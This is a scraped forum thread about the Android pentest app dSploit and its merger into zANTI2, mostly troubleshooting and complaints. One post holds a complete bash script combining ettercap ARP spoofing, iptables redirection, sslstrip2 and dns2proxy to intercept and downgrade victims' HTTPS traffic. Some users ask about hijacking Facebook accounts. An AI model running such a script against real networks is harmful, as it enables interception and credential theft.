yashsingh1/xdaforums huggingface dataset:
[Android Apps and Games] GFXi0N:
Tried on Nexus 7, stock rooted with supersu, the app says it must run only on rooted devices. I'm back home, and back to cyanogenmod. I'll try to get a logcat with the computer....
[Android Apps and Games] hanhymn:
No functionalities | Nexus 5

Hello everyone!

DSploit's functionalities don't work for me. After a few seconds, the started process stops with no error.

I have a rooted Nexus 5 with BusyBox installed under /system/xbin . All the applets are installed.

I'm running the 4.4.4 stock ROM, with ElementalX 3.4.0

My SuperSU is fine I guess.

Can anyone help me out? Thanks!

PS: I've downloaded the apk from the website, not that cracked thing on App Store.
[Android Apps and Games] and313:
It works on mine n5 but the ruby upload fails. Not a big deal as long mitm stuff works. I run aicp which is cm based and also elemental
[Android Apps and Games] jonnyh1994:
So I noticed in settings menu there's an update automatically set by default. Does this mean, for the nightly version, if I have it installed I never have to download it from the original site again to get the latest releases or does that only mean that it updates certain components of the app like Ruby/metasploit automatically?
[Android Apps and Games] GFXi0N:
Stupid, stupid, stupid, stupid me. On stock rooted, AFTER INSTALLING BUSYBOX (damn rookie mistake), the app starts, asks for update and here are the messages i get:

Downloading update (ruby.tar.xz)

checking....

extracting...

patching shebang...

installing gems (installing bundle)

installing gems for MSF

Bang!! Error message: "An error occurred while downloading the update"

Latest nightly, wiped app data before trying.

I attempted some MITM attack and it worked, however. (Image replacement)
[Android Apps and Games] AndreAkaNick:
Same happens with me.

MITM works fine, bit i can't update Ruby or the Metasploit.

Last versions worked fine, i remember the app had 1GB.

Stock 4.2 ROM, S4 Mini, root, busybox and everything else instaled.
[Android Apps and Games] anastasiszn:
I have same problem.if fix tha can hijacking facebook accounts?
[Android Apps and Games] Killberty:
nope as facebook uses HSTS (google this)
[Android Apps and Games] PDNKED:
Nop. No more fb hack.
[Android Apps and Games] anastasiszn:
[MENTION=4875730]evilsocket[/MENTION] is it impossible in next version?
[Android Apps and Games] Killberty:
it will not be possible, i do not know any hsts hack for linux, so it will not be available on android either
[Android Apps and Games] jfmherokiller:
is it possible in the next version to move both ruby and msf to /data/local/tmp so that it will possibly fix the problems with ruby not updating correctly?
[Android Apps and Games] johndoebelgium:
Ideas for HSTS

There is a new version of SSLStrip to defeat HSTS.

And there's Mana too with some modifications to LeonardoNVE's & moxie's cool tools.

Unfortunately I could not post the links to both ... :(

Perhaps this could help to include this feature in dSploit?

---------- Post added at 09:04 AM ---------- Previous post was at 08:53 AM ----------

Just search on Github for "LeonardoNve/sslstrip2" and/or "sensepost/mana" ...
[Android Apps and Games] jonas18z:
Has Evilsocket stop worked on dSpolit? I heard that him statred to work on Zimperium with zAnti?
[Android Apps and Games] TylerDurben:
Has anyone in here a idea why download and update the metasploit faild on Samsung Galaxy Note 3 with actual busybox and x-note 12 android 4.4.2?

Or is it an actual bug?

Thx in advance!!

Greetings Tyler
[Android Apps and Games] olivestab:
Do cookies have anything to do with ineffective MITM attacks?

I notice that the image replacer works when I visit a site like reddit, that sources sites I don't frequently visit.

But sites like youtube, yahoo, and Facebook remain unaffected.

I wonder if there is a tool that can force reset someones cookies.
[Android Apps and Games] PDNKED:
Yes. Fail in all devices. It's a bug of dsploit. Relax.

Sent from Tapatalk - SM-N9005
[Android Apps and Games] CyberianIce:
No, sites which uses SSL (HTTPS) are imune to MITM attacks. Only sites which uses HTTP (or redirection from http to https) can be intercepted.

But generally, only routers vulnerable to ARP or ICMP spoofing can be exploited with MITM attacks. I.e. RomPager based ADSL home routers/gateways are vulnerable while properly configured Cisco is not.
[Android Apps and Games] KiranP23:
For weeks i was seeing Ruby update > while update > there was a error while updating msg pop up

today i used winrar to decompress ruby.tz *(forgot extension) to a folder

used ES FIle explorer app > TOols > Root Explorer > Copied content of Ruby [4 folders bin/etc/home/lib] to /system/

it asked there is alrdy 4 folders named the same , do u want to overite the folders , Press Yes

Now Open the dsploit > it will again ask do u want to update Ruby > Press yes > BUT this time ruby will update without any issue

Notes : Because of this or because of some other system file modification i played with today after rebooting the Phone , i was unable to access BT,data,wifi , i restored the system backup ,
[Android Apps and Games] fernandoavc:
I guess that's the mindset cuz Dlsploit is a hacking tool after all ?
[Android Apps and Games] janus19:
Doesn't detect busybox 1.22.1?

Hi,

I have a samsung i9305 with LiquidSmooth 3.2 nightly ROM. http://xdaforums.com/galaxy-s3/development-i9305/rom-liquidsmooth-v3-0-i9305-t2727245

I get the dreaded "Your application can only run on rooted devices" message when starting up dsploit (latest nightly). Behind the pop up, I can see my newtork being properly detected.

I know my phone is rooted. I installed busybox installer from the Play store as suggested, and indeed Busybox Installer confirms that my device is rooted and further adds it has busybox version 1.22.1 installed in /sbin.

So it seems dsploit can't detect this version of busybox? Any solutions?

Thanks
[Android Apps and Games] Killberty:
did you aver get the "grant root access" window?

if not, you might want to take a look at your root managing application (e.g. SuperSU)
[Android Apps and Games] pepitonicorazon:
Does this work if you are just connected to a tethered device not in a router? For example I am connected to a iMac's tether.. Can I hack those who are connected on that connection?
[Android Apps and Games] orangeisnon:
I don't know, but since I'm surrounded by Macs, why don't I find out?

---------- Post added at 11:02 AM ---------- Previous post was at 10:50 AM ----------

I'm back.

Using a 2011 Macbook Pro as my ap (with internet sharing from Ethernet) I could see neither any of the dozens of computers on the network (past the mbp) nor an iMac connected directly with WiFi.

Wide host scan was enabled.
[Android Apps and Games] jfmherokiller:
To get the hosts do a short sniff and then record the ip addresses manually
[Android Apps and Games] exc1d1us:
sslstrip?

Are there any plans to impliment an sslstrip type function for MITM??
[Android Apps and Games] Killberty:
improve your research skills - there already is

anyway, sslstrip was usefull 3 yrs ago when nobody used HSTS, now sslstrip is kinda useless
[Android Apps and Games] exc1d1us:
sslstrip?

Sslstrip was recently updated to bypass hsts.
[Android Apps and Games] hongman:
I have a Samsung galaxy s5 running omega v8.

First time using dsploit, was just messing about with the mitm attacks on my home network.

Seems whenever I launch mitm attack, it prevents all other hosts from accessing the net?

I'm guessing dsploit is arp poisoning the client gateways to the phone, but for some reason the routing is messed up?
[Android Apps and Games] diminou91:
Wait, it seems some of you can actually use dsploit. I'm guessing you are using the nightly build but I'm getting an error updating metasploit. The release.zip is downloaded fine and the extraction is working. The error appear right after the extraction mentioning the download failed. How can you use the app? :D
[Android Apps and Games] Lukis24:
8080 port

dSploit says that the port 8080 is used by another process. How can I resolve it?
[Android Apps and Games] Killberty:
use another port
[Android Apps and Games] Killberty:
where?

official sslstip githib

"Latest commit by moxie0 almost 3 years ago"

To my knowledge there is no hsts bypass available (yet).
[Android Apps and Games] Lukis24:
port

Which port?
[Android Apps and Games] KoubaK:
Any port not being used by any other service.

Makes me wonder....
[Android Apps and Games] Mstinct:
Hi i'm new to this program but by the first look of it i like it. and i would like to know if is possible to use it on android x86 on the pc, because when i start it requires a ARM processor, is there any way to bypass this?

By the way great program, and hope to be able to run it on the computer XD
[Android Apps and Games] hview:
8089 or any other like 24000
[Android Apps and Games] II_DiE_4:
Yep updated here

https://github.com/sensepost/mana/tree/master/sslstrip-hsts

Needs dnsspoof to work

Sent from my LG-D802
[Android Apps and Games] Killberty:
ah k, do you have any tutorial for that?
[Android Apps and Games] anastasiszn:
why we must install BusyBox ?
[Android Apps and Games] hview:
dspoit have lots of commands to run those command require busybox..
[Android Apps and Games] rootbitch:
I just uploaded my simple script for that:

https://gist.github.com/xaitax/03601c36be8e22207b94

#!/bin/bash
#
# @desc:	MitM (Ettercap) & SSLStrip2 & dns2proxy
#
#	Tool runs if sslstrip2 & dns2proxy have subfolders from
#	where the script is run
#
# @required:
#
#	- SSLStrip2 (https://github.com/LeonardoNve/sslstrip2)
#	- DNS2Proxy (https://github.com/LeonardoNve/dns2proxy)
#	- Ettercap-NG (http://ettercap.sourceforge.net/)
#
# @name:
#
#	mitmsslstrip2.sh
#
# @author:
#
#	Alexander 'xaitax' Hagenah <ah@primepage.de>
#	http://primepage.de
#
# @created:
#
#	09/12/2014

if [[ "$1" == "k" ]]; then
echo "Killing processes..."
ps -ef | grep tcpdump | awk '{print $2}' | xargs kill
ps -ef | grep sslstrip | awk '{print $2}' | xargs kill
ps -ef | grep dns2proxy | awk '{print $2}' | xargs kill
ps -ef | grep ettercap | awk '{print $2}' | xargs kill
exit
fi

printf "Define the interface (e.g. eth0): " && read INTERFACE
printf "Define the IP of the Gateway (leave empty for whole network): " && read GATEWAY
printf "Define the IP of the Target (leave empty for whole network): " && read TARGET

# Variable for date/time
now=$(date +%Y%m%d_%H%M%S)

# Enable Linux Kernel Packet forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Flush existing iptables
iptables -F
iptables -F -t nat
# Traffic redirection for dns2proxy & sslstrip2
iptables --table nat --append PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
iptables --table nat --append PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000

# Start MitM with Ettercap
ettercap -T -i $INTERFACE -w log/network.pcap -L ettercap -M arp /$GATEWAY/ /$TARGET/ -P autoadd -Q &

# Start local network capture with tcpdump
tcpdump -i $INTERFACE -w log/network_$now.pcap & PID_TCPDUMP=$!

# Start sslstrip
./sslstrip2/sslstrip.py -p -w log/sslstrip_$now.log -k -l 9000 & PID_SSLSTRIP=$!

# Start dns2proxy
cd ./dns2proxy/ && python ./dns2proxy.py & PID_DNS2PROXY=$!

Have phun.
[Android Apps and Games] alekos-ep91:
Any chance to get dsploit working at android 5.0 lollipop???
[Android Apps and Games] David 617:
Any chance you can do it?
[Android Apps and Games] alekos-ep91:
If i could, maybe i'd have fixed it by now...
[Android Apps and Games] n0mad73:
Anyone have dsploit completely wipe out your sdcard? Its happened twice to me. All I was doing was pointing it to my metasploit and ruby directories; my metasploit dir is on my sdcard partition.

I have an HTC one m7 with internal sdcard.
[Android Apps and Games] antukubo:
I'm also symlink my dsploit to sdcard ext4 partition. No problem at all
[Android Apps and Games] SymB:
Hi !

I've just a question. I've read the last pages but I haven't seen any answer for my problem.

Does dSploit work with https url ?

Because when i'm using the Session Hijacking option, all websites with https request redirect me on the login page.
[Android Apps and Games] orangeisnon:
Removed.
[Android Apps and Games] Killberty:
according to GitHub this hasnt been worked on for a month
[Android Apps and Games] hview:
We have to please be patient even bathroom can hold one a??h??? At a time.
[Android Apps and Games] tehSecret:
Wut ?
[Android Apps and Games] hview:
We have to wait until developer free to do that kind of work...
[Android Apps and Games] evilsocket:
ANNOUNCEMENT: dSploit merges with ZImperium zANTI2 - link here
[Android Apps and Games] fernandoavc:
So... That rumor was true that become totally commercial... I'd never got the trial or whatever available for the poor regular curious users version that is.....
[Android Apps and Games] evilsocket:
Did you actually read the post or you just came here writing the first thought that came to your mind? :P

1. zANTI2 is completely free, no credits needed whatsoever.

2. It will be released as open source in the near future.
[Android Apps and Games] fernandoavc:
Sorry probably you are right!! I may have misunderstood but I did registered myself and for some reason wasn't able to get anything but emails of offerings.... I will definitely try again since you are saying it is free ( not against it to be commercial tho.. Is just that I'm not from security area so I just do it for curiosity and to learn).

Sorry again...
[Android Apps and Games] evilsocket:
Nothing to be sorry about, it's ok ;)

I can guarantee zANTI2 is 100% free and it's freaking cool, I'm not saying just because now I work for them, it's way far better than dSploit, faster, more precise, better ui, etc.
[Android Apps and Games] :
very cool!

FYI Viewing the EULA (I know who does that?) produces an error 404

Also, if you want to do anything useful (MITM, password scan etc) you have to upgrade, but when you try to upgrade = 404 error
[Android Apps and Games] shadowslifer:
I can't login to it..

i press community user, but there still function disabled... and my account is in N/D state... :o

I were searching dspoit updates... but then i found that. [MENTION=2736178]orthonovum[/MENTION] i do =D ahahahahah noticed that 404 error.. maybe they're working on it.
[Android Apps and Games] CHEF-KOCH:
Just wondering, because there is a premium version of zAnti 2 out which can't be used with a normal account. And also wondering why the app needs generally an account? Dsploit never asked for such thing.... So it's not 100% free, only the useless free version....
[Android Apps and Games] fernandoavc:
When I'd tried before I don't even got the user to test it out... Just some offerings to premium accounts...
[Android Apps and Games] joluke:
As far as I know to use all the functions on zanti we had to pay for them... but zanti2 is totally free or still the same thing? If it is totally free ill donate to you evil. . Just answer me this
[Android Apps and Games] alandd86:
so is ther a video on how to use zanti ?:confused:
[Android Apps and Games] joluke:
Well just installed zanti2 and to do a MITM attack prompts me to buy an account... wtf?
[Android Apps and Games] :
I thought the same thing. Just turn it on for like 15min or so. Then it goes away. I guess it may be a verification thing it does.
[Android Apps and Games] joluke:
Highly doubt it... The first zanti app needed a platinum and gold account to work.. and if [MENTION=4875730]evilsocket[/MENTION] says it is free.. It shouldn't need to be buying anything...
[Android Apps and Games] CHEF-KOCH:
YouTube is full of them.
[Android Apps and Games] :
Seems to work now without asking for an upgrade... Maybe just switch on their end had to be flipped...which of course also raises the whole "why does this talk to remote servers?" Question.
[Android Apps and Games] joluke:
Works for me too.. All functions... maybe they were changing something in the server. It's a cool app :D

Now I'm happy with it... I will donate to [MENTION=4875730]evilsocket[/MENTION]
[Android Apps and Games] tehSecret:
I have always used Dsploit instead of ZAnti because I did not trust the business model or ethics ZAnti provided. Now that the merge has the app phoning home, I really don't trust em.
[Android Apps and Games] CHEF-KOCH:
The problem with zanti is:

- No souce code av.

- Needs a login

- Downloads data the first time without user can abort it or gets notified what it is

- same as dsploit lack of updates (zanti 2 is more then 4+ months old)

- Confusing buiseness model, elite, premium, free ... whatever version

- No trust because nobody knows who is behind it (except evilsocket)
[Android Apps and Games] joluke:
Until open source is out.. I won't donate...
[Android Apps and Games] michelinok:
Why it want to access my position????

Inviato dal mio ZP990+
[Android Apps and Games] savahu:
How do I login on Zanti?

In the community tab, I type my gmail address, and it says 'invalid email/password', even though I do not have a password yet! wtf
[Android Apps and Games] iExitus:
Same :/ and didn't found a way to sign up anywhere :(
[Android Apps and Games] Mystery000777:
Cool but weird. I don't know how but yesterday I managed to access the apps feature features now it asks for a login. The new app is gorgeous and looks very good but if people can't access it it is useless. Does anyone have an old dsploit? I mean it is buggy but I would love to have one of these testing apps... And what about and old cracked zanti 1?

Op can you help us? We really like your work but we need help on the new zanti
[Android Apps and Games] ktl20:
Uselles for now. Hmmm strange thing Popular apk new version that supouse to be great that everyone install and cant do anything with? Collecting and sending some data from our device? None of the FB account hacked for now?;) anybody? very strange
[Android Apps and Games] yogi.306:
great app

Great app

Thanks.
[Android Apps and Games] alandd86:
cant log in !! it says login failed :confused::confused:
[Android Apps and Games] michelinok:
+1

Inviato dal mio ZP990+
[Android Apps and Games] savahu:
We know, the Zanti app does not work.

Get the latest dSploit nightly from Aptoide:

http://an0n.store.aptoide.com/app/market/it.evilsocket.dsploit/1/7390045/dSploit
[Android Apps and Games] xanau:
You must login has a community user in zanti
[Android Apps and Games] :
Worked yesterday... No longer works today... This is why you don't require apps to sign into someone's servers to function *sigh*
[Android Apps and Games] jasonbtx:
Working now. After grabbing my password and injecting into browser. Still doesn't pass logon screen
[Android Apps and Games] Lukis24:
Login to zANTI

How can I login to zANTI? It says wrong email or password
[Android Apps and Games] :
Try it now, is working again lol... Its a great app but does not instill much confidence when it requires a login and that login isn't always working.

Personally I am hoping the login portion is removed or made optional (what happens when this company closes or is bought etc and servers no longer available)

Being in this industry for 20 years I've seen it happen all too often
[Android Apps and Games] Lukis24:
It says "Email or password is invalid". I need to register first? If yes, where?
[Android Apps and Games] :
It seems to work off and on I don't know of anywhere to register at the moment you might have to just keep trying until it works but then it might not work again later
[Android Apps and Games] gmajnkek:
I didnt see any where that this is a ZANTI thread. So can you stop with zanti this and that?!

Thanks.
[Android Apps and Games] tehSecret:
Tsk tsk tsk... If you even skimmed the OP or even glanced at the last few pages , you would know that DSploit and Zanti have merged into one product . In theory, it's kind of impossible not to mention ZAnti. So can you read a little bit of "this and that" before you post and sound silly ?

EDIT: THANKS
[Android Apps and Games] CHEF-KOCH:
It's wasting your time almost all holes are closed and as long zanti or any other pentesting suites not getting updates it not works anymore. I tried this year over 500 routers to crack and nothing ever worked. All holes are fixed as I said, the ports are closed or you can't use your own brute force list (which of course take years to crack on the currently slow android hardware).

Maybe we starting a seperate thread about zanti, since evilsocket switched to the emporium team and dsploit not getting updates for a long time.
[Android Apps and Games] gmajnkek:
I see only huge activity in last days on this thread, but still the title is dsploit :P
[Android Apps and Games] tehSecret:
Oh well... I tried
[Android Apps and Games] alandd86:
error in using mitm !!:confused:
[Android Apps and Games] tehSecret:
This thread should be closed..
[Android Apps and Games] rootbitch:
There will be a nice, big and great announcement soon. "dSploit" ain't dead. ;)

It's getting just better and stays OSS.

Just another project of our good member [MENTION=4525984]tux_mind[/MENTION]. :)

It's gonna be bigger and better. I am sure it will be announced soon.
[Android Apps and Games] KiranP23:
https://www.zimperium.com/zanti-mobile-penetration-testing

It say Request DEMO , so now Zanti is Paid ? no more free ?
[Android Apps and Games] LentoViolentoMan:
all of a sudden the features require a PREMIUM membership.

This developer has sold out.
[Android Apps and Games] rootbitch:
As I said guys, give it a few days patience. A fork has been established that is being heavily working on.
[Android Apps and Games] WhammyDroid:
Glad to hear. Considering the fork, it may be a good idea to create a new thread and have an existing thread locked.

Just a thought.
[Android Apps and Games] jelle2503:
Sold out. And the new app suddenly needs permissions that are not even related.

Nothing to see here anymore.

And this thread needs locking. Shameless advertising and there is no free app anymore.
[Android Apps and Games] julle131:
Give them a minute. They are making zanti2 open source, and tux-mind continued dsploit as csploit. Also, zanti2 IS free, so there still is a free app.

Maybe. As far as I know, tux-mind prefers using github instead of xda for suggestions related to the application.

What app requires premium membership? Zanti2 has a community "membership", which is free and allows you to use its features. Also, thanks to this developer, zanti2 will be open sourced later.
[Android Apps and Games] evilsocket:
Dudes did you actually miss the BIG RED ORANGE button to download the APK? I've also posted the direct link to it on my blog post.

https://s3.amazonaws.com/zANTI/zANTI2.apk
[Android Apps and Games] devrruti:
Thanks for the great work you've done starting dsploit on your own and making it open source. It was truly a gift, and a tool that needed to be made.

It's great that you will now work on something so closely related. But we expect zanti2 will be open source too, like any security app should be to be fully trusted.

I also hope you find a way that addresses privacy concerns. A security app that sends and receives unknown data to your serves is not trustworthy either.

I wish you earn money but please find a way that is not like a "pay to play" game

Good luck to zanti2 and to the new csploit

Edit: zanti2 asks for way too many unneeded permissions, why?
[Android Apps and Games] LentoViolentoMan:
it still asks me for a premium membership when trying to use mitm features for instance.

of course i didn't miss the apk.
[Android Apps and Games] CHEF-KOCH:
Zanti2 isn't free, the app is free downloadable but that not means all features are included, but can't say for sure I have no source. Maybe I missed the link with it, couldn't find it.

Besides that, please tell me why it needs a login, I don't want that, as said dsploit does never ask for a login.

Didn't heared about csploit?! Is this a new app, or based on dsploit source, and will there be a source on github? I'm confused, I need some details from the developer and not rumors. Thanks anyway, I still use better dsploit until all my questions are cleared.